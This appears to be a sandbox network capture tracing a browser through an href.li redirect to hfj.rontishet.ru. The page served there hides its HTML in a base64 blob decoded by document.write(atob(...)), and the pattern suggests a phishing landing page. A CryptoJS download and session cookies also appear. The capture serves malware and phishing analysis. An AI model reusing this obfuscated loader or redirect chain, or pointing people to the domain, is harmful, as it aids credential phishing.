2024-09-30 17:20:19 UTC	439	IN	Data Raw: 37 62 66 64 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 68 2c 74 2c 65 2c 72 2c 69 2c 6e 2c 66 2c 6f 2c 73 2c 63 2c 61 2c 6c 2c 64 2c 6d 2c 78 2c 62 2c 48 2c 7a 2c 41 2c 75 2c 70 2c 5f 2c 76 2c 79 2c 67 2c 42 2c 77 2c 6b 2c 53 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 2c 4b 2c 58 2c 4c 2c 6a 2c 4e 2c 54 2c 71 2c 5a Data Ascii: 7bfd!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var h,t,e,r,i,n,f,o,s,c,a,l,d,m,x,b,H,z,A,u,p,_,v,y,g,B,w,k,S,C,D,E,R,M,F,P,W,O,I,U,K,X,L,j,N,T,q,Z
2024-09-30 17:20:19 UTC	1369	IN	Data Raw: 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 26 26 28 74 3d 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 29 2c 21 74 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 26 26 28 74 3d 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 29 2c 21 74 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 74 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 66 75 6e 63 74 69 6f 6e 20 69 28 29 7b 69 66 28 74 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 74 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 29 74 72 79 7b 72 65 74 75 72 6e Data Ascii: d"!=typeof window&&window.msCrypto&&(t=window.msCrypto),!t&&"undefined"!=typeof global&&global.crypto&&(t=global.crypto),!t&&"function"==typeof require)try{t=require("crypto")}catch(t){}function i(){if(t){if("function"==typeof t.getRandomValues)try{return
2024-09-30 17:20:19 UTC	1369	IN	Data Raw: 34 2d 6f 25 34 2a 38 26 32 35 35 3b 65 5b 69 2b 6f 3e 3e 3e 32 5d 7c 3d 73 3c 3c 32 34 2d 28 69 2b 6f 29 25 34 2a 38 7d 65 6c 73 65 20 66 6f 72 28 6f 3d 30 3b 6f 3c 6e 3b 6f 2b 3d 34 29 65 5b 69 2b 6f 3e 3e 3e 32 5d 3d 72 5b 6f 3e 3e 3e 32 5d 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 73 69 67 42 79 74 65 73 2b 3d 6e 2c 74 68 69 73 7d 2c 63 6c 61 6d 70 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 2e 77 6f 72 64 73 2c 65 3d 74 68 69 73 2e 73 69 67 42 79 74 65 73 3b 74 5b 65 3e 3e 3e 32 5d 26 3d 34 32 39 34 39 36 37 32 39 35 3c 3c 33 32 2d 65 25 34 2a 38 2c 74 2e 6c 65 6e 67 74 68 3d 6c 2e 63 65 69 6c 28 65 2f 34 29 7d 2c 63 6c 6f 6e 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 73 2e 63 6c 6f 6e 65 2e 63 61 6c 6c 28 74 68 69 73 Data Ascii: 4-o%48&255;e[i+o>>>2]\|=s<<24-(i+o)%48}else for(o=0;o<n;o+=4)e[i+o>>>2]=r[o>>>2];return this.sigBytes+=n,this},clamp:function(){var t=this.words,e=this.sigBytes;t[e>>>2]&=4294967295<<32-e%4*8,t.length=l.ceil(e/4)},clone:function(){var t=s.clone.call(this
2024-09-30 17:20:19 UTC	1369	IN	Data Raw: 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 6c 2e 63 65 69 6c 28 73 29 3a 6c 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 61 3d 6c 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 63 3b 68 2b 3d 6f 29 74 68 69 73 2e 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 28 69 2c 68 29 3b 65 3d 69 2e 73 70 6c 69 63 65 28 30 2c 63 29 2c Data Ascii: ._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?l.ceil(s):l.max((0\|s)-this._minBufferSize,0))o,a=l.min(4*c,n);if(c){for(var h=0;h<c;h+=o)this._doProcessBlock(i,h);e=i.splice(0,c),
2024-09-30 17:20:19 UTC	1369	IN	Data Raw: 65 3c 3c 31 36 2c 74 2b 3d 72 3c 3c 38 2c 74 2b 3d 69 7d 65 6c 73 65 20 74 2b 3d 31 3c 3c 32 34 3b 72 65 74 75 72 6e 20 74 7d 66 75 6e 63 74 69 6f 6e 20 52 74 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 66 74 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 66 74 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 66 74 5b 31 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 33 5d 3d 65 5b 33 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 Data Ascii: e<<16,t+=r<<8,t+=i}else t+=1<<24;return t}function Rt(){for(var t=this._X,e=this._C,r=0;r<8;r++)ft[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<ft[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<ft[1]>>>0?1:0)\|0,e[3]=e[3]+1295307597+(
2024-09-30 17:20:19 UTC	1369	IN	Data Raw: 5d 3d 65 5b 36 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 35 5d 3e 3e 3e 30 3c 77 74 5b 35 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 37 5d 3d 65 5b 37 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 36 5d 3e 3e 3e 30 3c 77 74 5b 36 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 74 68 69 73 2e 5f 62 3d 65 5b 37 5d 3e 3e 3e 30 3c 77 74 5b 37 5d 3e 3e 3e 30 3f 31 3a 30 3b 66 6f 72 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 2c 73 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 2c 63 3d 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 7c 30 29 2b 28 28 36 35 35 33 35 26 69 29 2a 69 7c 30 29 3b 6b 74 5b 72 5d 3d 73 5e 63 7d 74 5b Data Ascii: ]=e[6]+1295307597+(e[5]>>>0<wt[5]>>>0?1:0)\|0,e[7]=e[7]+3545052371+(e[6]>>>0<wt[6]>>>0?1:0)\|0,this._b=e[7]>>>0<wt[7]>>>0?1:0;for(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16,s=((nn>>>17)+no>>>15)+oo,c=((4294901760&i)i\|0)+((65535&i)*i\|0);kt[r]=s^c}t[
2024-09-30 17:20:19 UTC	1369	IN	Data Raw: 25 34 2a 38 2c 6e 2b 2b 7d 72 65 74 75 72 6e 20 68 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a 30 31 32 33 34 35 36 37 38 39 2b 2f 3d 22 7d 2c 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 76 61 72 20 74 3d 62 74 2c 65 3d 74 2e 6c 69 62 2c 72 3d 65 2e 57 6f 72 64 41 72 72 61 79 2c 69 3d 65 2e 48 61 73 68 65 72 2c 6e 3d 74 2e 61 6c 67 6f 2c 48 3d 5b 5d 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 30 3b 74 3c 36 34 3b 74 2b 2b 29 48 5b 74 5d 3d 34 32 39 34 39 36 37 32 39 36 2a 6c 2e 61 62 73 28 6c 2e 73 69 6e 28 74 2b 31 29 29 7c 30 7d 28 29 3b 76 61 Data Ascii: %48,n++}return h.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="},function(l){var t=bt,e=t.lib,r=e.WordArray,i=e.Hasher,n=t.algo,H=[];!function(){for(var t=0;t<64;t++)H[t]=4294967296l.abs(l.sin(t+1))\|0}();va
2024-09-30 17:20:19 UTC	1369	IN	Data Raw: 2c 78 2c 61 2c 39 2c 48 5b 32 39 5d 29 2c 78 3d 41 28 78 2c 62 2c 53 2c 6d 2c 75 2c 31 34 2c 48 5b 33 30 5d 29 2c 53 3d 43 28 53 2c 6d 3d 41 28 6d 2c 78 2c 62 2c 53 2c 67 2c 32 30 2c 48 5b 33 31 5d 29 2c 78 2c 62 2c 66 2c 34 2c 48 5b 33 32 5d 29 2c 62 3d 43 28 62 2c 53 2c 6d 2c 78 2c 70 2c 31 31 2c 48 5b 33 33 5d 29 2c 78 3d 43 28 78 2c 62 2c 53 2c 6d 2c 79 2c 31 36 2c 48 5b 33 34 5d 29 2c 6d 3d 43 28 6d 2c 78 2c 62 2c 53 2c 77 2c 32 33 2c 48 5b 33 35 5d 29 2c 53 3d 43 28 53 2c 6d 2c 78 2c 62 2c 63 2c 34 2c 48 5b 33 36 5d 29 2c 62 3d 43 28 62 2c 53 2c 6d 2c 78 2c 6c 2c 31 31 2c 48 5b 33 37 5d 29 2c 78 3d 43 28 78 2c 62 2c 53 2c 6d 2c 75 2c 31 36 2c 48 5b 33 38 5d 29 2c 6d 3d 43 28 6d 2c 78 2c 62 2c 53 2c 76 2c 32 33 2c 48 5b 33 39 5d 29 2c 53 3d 43 28 53 Data Ascii: ,x,a,9,H[29]),x=A(x,b,S,m,u,14,H[30]),S=C(S,m=A(m,x,b,S,g,20,H[31]),x,b,f,4,H[32]),b=C(b,S,m,x,p,11,H[33]),x=C(x,b,S,m,y,16,H[34]),m=C(m,x,b,S,w,23,H[35]),S=C(S,m,x,b,c,4,H[36]),b=C(b,S,m,x,l,11,H[37]),x=C(x,b,S,m,u,16,H[38]),m=C(m,x,b,S,v,23,H[39]),S=C(S
2024-09-30 17:20:19 UTC	1369	IN	Data Raw: 74 68 69 73 2e 5f 68 61 73 68 2e 63 6c 6f 6e 65 28 29 2c 74 7d 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 7a 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 29 7b 76 61 72 20 63 3d 74 2b 28 65 26 72 7c 7e 65 26 69 29 2b 6e 2b 73 3b 72 65 74 75 72 6e 28 63 3c 3c 6f 7c 63 3e 3e 3e 33 32 2d 6f 29 2b 65 7d 66 75 6e 63 74 69 6f 6e 20 41 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 29 7b 76 61 72 20 63 3d 74 2b 28 65 26 69 7c 72 26 7e 69 29 2b 6e 2b 73 3b 72 65 74 75 72 6e 28 63 3c 3c 6f 7c 63 3e 3e 3e 33 32 2d 6f 29 2b 65 7d 66 75 6e 63 74 69 6f 6e 20 43 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 29 7b 76 61 72 20 63 3d 74 2b 28 65 5e 72 5e 69 29 2b 6e 2b 73 3b 72 65 74 75 72 6e 28 63 3c 3c 6f 7c 63 3e 3e 3e 33 32 2d 6f 29 2b 65 7d 66 75 6e 63 74 69 6f 6e 20 44 28 74 2c 65 2c Data Ascii: this._hash.clone(),t}});function z(t,e,r,i,n,o,s){var c=t+(e&r\|~e&i)+n+s;return(c<<o\|c>>>32-o)+e}function A(t,e,r,i,n,o,s){var c=t+(e&i\|r&~i)+n+s;return(c<<o\|c>>>32-o)+e}function C(t,e,r,i,n,o,s){var c=t+(e^r^i)+n+s;return(c<<o\|c>>>32-o)+e}function D(t,e,
2024-09-30 17:20:19 UTC	1369	IN	Data Raw: 3d 65 2e 57 6f 72 64 41 72 72 61 79 2c 69 3d 65 2e 48 61 73 68 65 72 2c 6f 3d 74 2e 61 6c 67 6f 2c 73 3d 5b 5d 2c 42 3d 5b 5d 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 6e 2e 73 71 72 74 28 74 29 2c 72 3d 32 3b 72 3c 3d 65 3b 72 2b 2b 29 69 66 28 21 28 74 25 72 29 29 72 65 74 75 72 6e 3b 72 65 74 75 72 6e 20 31 7d 66 75 6e 63 74 69 6f 6e 20 65 28 74 29 7b 72 65 74 75 72 6e 20 34 32 39 34 39 36 37 32 39 36 2a 28 74 2d 28 30 7c 74 29 29 7c 30 7d 66 6f 72 28 76 61 72 20 72 3d 32 2c 69 3d 30 3b 69 3c 36 34 3b 29 74 28 72 29 26 26 28 69 3c 38 26 26 28 73 5b 69 5d 3d 65 28 6e 2e 70 6f 77 28 72 2c 2e 35 29 29 29 2c 42 5b 69 5d 3d 65 28 6e 2e 70 6f 77 28 72 2c 31 2f 33 29 29 2c 69 2b 2b 29 2c 72 Data Ascii: =e.WordArray,i=e.Hasher,o=t.algo,s=[],B=[];!function(){function t(t){for(var e=n.sqrt(t),r=2;r<=e;r++)if(!(t%r))return;return 1}function e(t){return 4294967296*(t-(0\|t))\|0}for(var r=2,i=0;i<64;)t(r)&&(i<8&&(s[i]=e(n.pow(r,.5))),B[i]=e(n.pow(r,1/3)),i++),r

Timestamp	Bytes transferred	Direction	Data
2024-09-30 17:20:19 UTC	671	OUT	GET /?https://HFj.rontishet.ru/iCaWzj6Q/ HTTP/1.1 Host: href.li Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-30 17:20:19 UTC	279	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Sep 2024 17:20:19 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Strict-Transport-Security: max-age=31536000 Vary: Accept-Encoding X-ac: 2.jfk _dfw MISS Alt-Svc: h3=":443"; ma=86400
2024-09-30 17:20:19 UTC	490	IN	Data Raw: 31 64 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 68 72 65 66 2e 6c 69 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 52 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 20 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 48 46 6a 2e 72 6f 6e 74 69 73 68 65 74 2e 72 75 2f 69 43 61 57 7a 6a 36 51 2f 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 72 65 66 65 72 72 65 72 22 20 2f 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 2f 2a 20 3c 21 5b 43 44 41 54 41 5b 20 2a 2f 0a 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 72 65 70 6c 61 Data Ascii: 1de<!DOCTYPE html><html><head><title>href.li</title><meta http-equiv="Refresh" content="0; url=https://HFj.rontishet.ru/iCaWzj6Q/" /><meta name="referrer" content="no-referrer" /><script type="text/javascript">/* <![CDATA[ */window.location.repla

Timestamp	Bytes transferred	Direction	Data
2024-09-30 17:20:23 UTC	654	OUT	GET /iCaWzj6Q/ HTTP/1.1 Host: hfj.rontishet.ru Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-30 17:20:23 UTC	1024	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 17:20:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CzLk2h%2Fw40%2FAz7rqjy4vNcR41ovEsFwz2WBT4xpwRyYdJcToXGv5T3pndi69X%2Biz%2Fhzt9SNvBLjqXJA1%2Fl3hTN5KhnPkKprBJ0TeWnlNA%2FjIhoMIuwktHPR6tPNiyg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Set-Cookie: XSRF-TOKEN=eyJpdiI6Ik5Raks1QVVvbFZaaTNjUzBLdzQvN3c9PSIsInZhbHVlIjoiem1xeTJBSTJtSkJjTy9jN3k4Z0JBdVdQbjY5Smo5RkptVzhzbkxIR3d4U1lvM25IQjducmt4Sm9aSHJhbmg2WHhMSk00c2NKK1lRdm9PNi9hanpIRVVBT2NORFowbm1GMTdtbklXbm1LdlZxV2Q5dGh1MFRXcXlZOExaU0FNZmIiLCJtYWMiOiI1ODIyZjIxMjc0ZDgwMDcwM2FkMzgwOTc2ZGNmM2I1YmU2NjliMzFmY2Q3NDkxNmU0OTc4NmI4ZmRhNmZlYWRkIiwidGFnIjoiIn0%3D; expires=Mon, 30-Sep-2024 19:20:23 GMT; Max-Age=7200; path=/; secure; samesite=none
2024-09-30 17:20:23 UTC	518	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6d 73 72 4d 58 4e 42 4e 55 4e 45 61 57 31 47 62 79 74 61 5a 45 31 69 4f 48 5a 44 57 45 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 55 47 56 56 55 53 74 46 55 31 70 75 4d 32 56 49 52 55 70 78 52 44 56 77 65 46 64 75 53 33 4a 50 61 79 74 6d 52 33 64 30 53 6c 70 45 63 6d 52 34 4d 6a 4a 46 57 6d 64 6e 4f 47 74 58 52 44 6c 46 64 6d 35 32 52 55 67 34 4d 33 4a 6d 54 6a 4a 77 55 44 5a 50 59 58 4a 47 57 45 68 43 63 33 46 33 54 6e 51 30 63 56 63 77 53 55 35 74 63 55 64 6c 4e 30 6c 4c 54 57 6c 6d 54 6d 4e 43 54 30 51 72 52 6b 68 47 5a 55 78 59 56 54 52 32 55 47 78 4a 64 6a 67 30 52 31 4e 54 4e 55 70 70 55 54 4e 79 4d 6e 70 51 4f 45 70 6f 64 57 34 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6ImsrMXNBNUNEaW1GbytaZE1iOHZDWEE9PSIsInZhbHVlIjoiUGVVUStFU1puM2VIRUpxRDVweFduS3JPaytmR3d0SlpEcmR4MjJFWmdnOGtXRDlFdm52RUg4M3JmTjJwUDZPYXJGWEhCc3F3TnQ0cVcwSU5tcUdlN0lLTWlmTmNCT0QrRkhGZUxYVTR2UGxJdjg0R1NTNUppUTNyMnpQOEpodW4
2024-09-30 17:20:23 UTC	1369	IN	Data Raw: 34 31 66 65 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 69 66 28 22 68 74 74 70 73 3a 2f 2f 48 46 6a 2e 72 6f 6e 74 69 73 68 65 74 2e 72 75 2f 69 43 61 57 7a 6a 36 51 2f 22 20 3d 3d 20 22 6e 6f 6d 61 74 63 68 22 29 7b 0d 0a 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 65 73 63 61 70 65 28 61 74 6f 62 28 27 50 43 46 45 54 30 4e 55 57 56 42 46 49 47 68 30 62 57 77 2b 44 51 6f 38 61 48 52 74 62 43 42 73 59 57 35 6e 50 53 4a 6c 62 69 49 2b 44 51 6f 38 61 47 56 68 5a 44 34 4e 43 6a 77 68 4c 53 30 67 50 47 52 70 64 6a 35 55 61 47 55 67 62 32 35 73 65 53 42 77 62 47 46 6a 5a 53 42 33 61 47 56 79 5a 53 42 7a 64 57 4e 6a 5a 58 4e 7a 49 47 4e 76 62 57 56 7a 49 47 4a 6c 5a 6d 39 79 5a 53 42 33 62 33 4a 72 49 47 6c 7a Data Ascii: 41fe<script>if("https://HFj.rontishet.ru/iCaWzj6Q/" == "nomatch"){document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCjwhLS0gPGRpdj5UaGUgb25seSBwbGFjZSB3aGVyZSBzdWNjZXNzIGNvbWVzIGJlZm9yZSB3b3JrIGlz
2024-09-30 17:20:23 UTC	1369	IN	Data Raw: 64 70 62 69 31 69 62 33 52 30 62 32 30 36 4d 58 4a 6c 62 54 74 39 44 51 6f 6a 53 55 39 70 61 30 78 34 59 33 52 71 52 53 35 6a 62 32 35 30 59 57 6c 75 5a 58 4a 37 64 32 6c 6b 64 47 67 36 49 44 45 77 4d 43 55 37 63 47 46 6b 5a 47 6c 75 5a 79 31 79 61 57 64 6f 64 44 6f 67 64 6d 46 79 4b 43 30 74 59 6e 4d 74 5a 33 56 30 64 47 56 79 4c 58 67 73 49 43 34 33 4e 58 4a 6c 62 53 6b 37 63 47 46 6b 5a 47 6c 75 5a 79 31 73 5a 57 5a 30 4f 69 42 32 59 58 49 6f 4c 53 31 69 63 79 31 6e 64 58 52 30 5a 58 49 74 65 43 77 67 4c 6a 63 31 63 6d 56 74 4b 54 74 74 59 58 4a 6e 61 57 34 74 63 6d 6c 6e 61 48 51 36 49 47 46 31 64 47 38 37 62 57 46 79 5a 32 6c 75 4c 57 78 6c 5a 6e 51 36 49 47 46 31 64 47 38 37 66 51 30 4b 49 30 6c 50 61 57 74 4d 65 47 4e 30 61 6b 55 67 4c 6e 52 6c 65 Data Ascii: dpbi1ib3R0b206MXJlbTt9DQojSU9pa0x4Y3RqRS5jb250YWluZXJ7d2lkdGg6IDEwMCU7cGFkZGluZy1yaWdodDogdmFyKC0tYnMtZ3V0dGVyLXgsIC43NXJlbSk7cGFkZGluZy1sZWZ0OiB2YXIoLS1icy1ndXR0ZXIteCwgLjc1cmVtKTttYXJnaW4tcmlnaHQ6IGF1dG87bWFyZ2luLWxlZnQ6IGF1dG87fQ0KI0lPaWtMeGN0akUgLnRle
2024-09-30 17:20:23 UTC	1369	IN	Data Raw: 34 4f 32 5a 76 62 6e 51 74 63 32 6c 36 5a 54 6f 67 4d 54 68 77 65 44 74 76 64 6d 56 79 63 32 4e 79 62 32 78 73 4c 57 4a 6c 61 47 46 32 61 57 39 79 4f 69 42 6a 62 32 35 30 59 57 6c 75 4f 79 49 2b 44 51 6f 38 49 53 30 74 49 44 78 6b 61 58 59 2b 55 33 52 76 63 43 42 6a 61 47 46 7a 61 57 35 6e 49 48 52 6f 5a 53 42 74 62 32 35 6c 65 53 42 68 62 6d 51 67 63 33 52 68 63 6e 51 67 59 32 68 68 63 32 6c 75 5a 79 42 30 61 47 55 67 63 47 46 7a 63 32 6c 76 62 69 34 38 4c 32 52 70 64 6a 34 67 4c 53 30 2b 43 6a 78 6b 61 58 59 67 61 57 51 39 49 6b 6c 50 61 57 74 4d 65 47 4e 30 61 6b 55 69 49 47 4e 73 59 58 4e 7a 50 53 4a 6a 62 32 35 30 59 57 6c 75 5a 58 49 69 50 67 30 4b 50 47 52 70 64 69 42 70 5a 44 30 69 52 6b 6c 46 57 58 46 43 62 46 4e 4f 51 69 49 67 59 32 78 68 63 33 Data Ascii: 4O2ZvbnQtc2l6ZTogMThweDtvdmVyc2Nyb2xsLWJlaGF2aW9yOiBjb250YWluOyI+DQo8IS0tIDxkaXY+U3RvcCBjaGFzaW5nIHRoZSBtb25leSBhbmQgc3RhcnQgY2hhc2luZyB0aGUgcGFzc2lvbi48L2Rpdj4gLS0+CjxkaXYgaWQ9IklPaWtMeGN0akUiIGNsYXNzPSJjb250YWluZXIiPg0KPGRpdiBpZD0iRklFWXFCbFNOQiIgY2xhc3
2024-09-30 17:20:23 UTC	1369	IN	Data Raw: 64 47 68 6c 49 47 4e 76 62 57 31 76 62 69 42 30 61 47 6c 75 5a 79 42 31 62 6d 4e 76 62 57 31 76 62 6d 78 35 49 48 64 6c 62 47 77 75 49 43 30 74 50 67 6f 38 4c 32 52 70 64 6a 34 4e 43 6a 77 76 5a 6d 39 79 62 54 34 4e 43 6a 77 76 5a 47 6c 32 50 67 30 4b 50 43 39 6b 61 58 59 2b 44 51 6f 38 4c 32 52 70 64 6a 34 4e 43 6a 77 68 4c 53 30 67 56 47 68 6c 49 48 4e 31 59 32 4e 6c 63 33 4e 6d 64 57 77 67 64 32 46 79 63 6d 6c 76 63 69 42 70 63 79 42 30 61 47 55 67 59 58 5a 6c 63 6d 46 6e 5a 53 42 74 59 57 34 73 49 48 64 70 64 47 67 67 62 47 46 7a 5a 58 49 74 62 47 6c 72 5a 53 42 6d 62 32 4e 31 63 79 34 67 4c 53 30 2b 43 6a 78 7a 59 33 4a 70 63 48 51 2b 44 51 70 30 64 58 4a 75 63 33 52 70 62 47 55 75 63 6d 56 75 5a 47 56 79 4b 43 63 6a 59 32 59 6e 4c 43 42 37 44 51 6f Data Ascii: 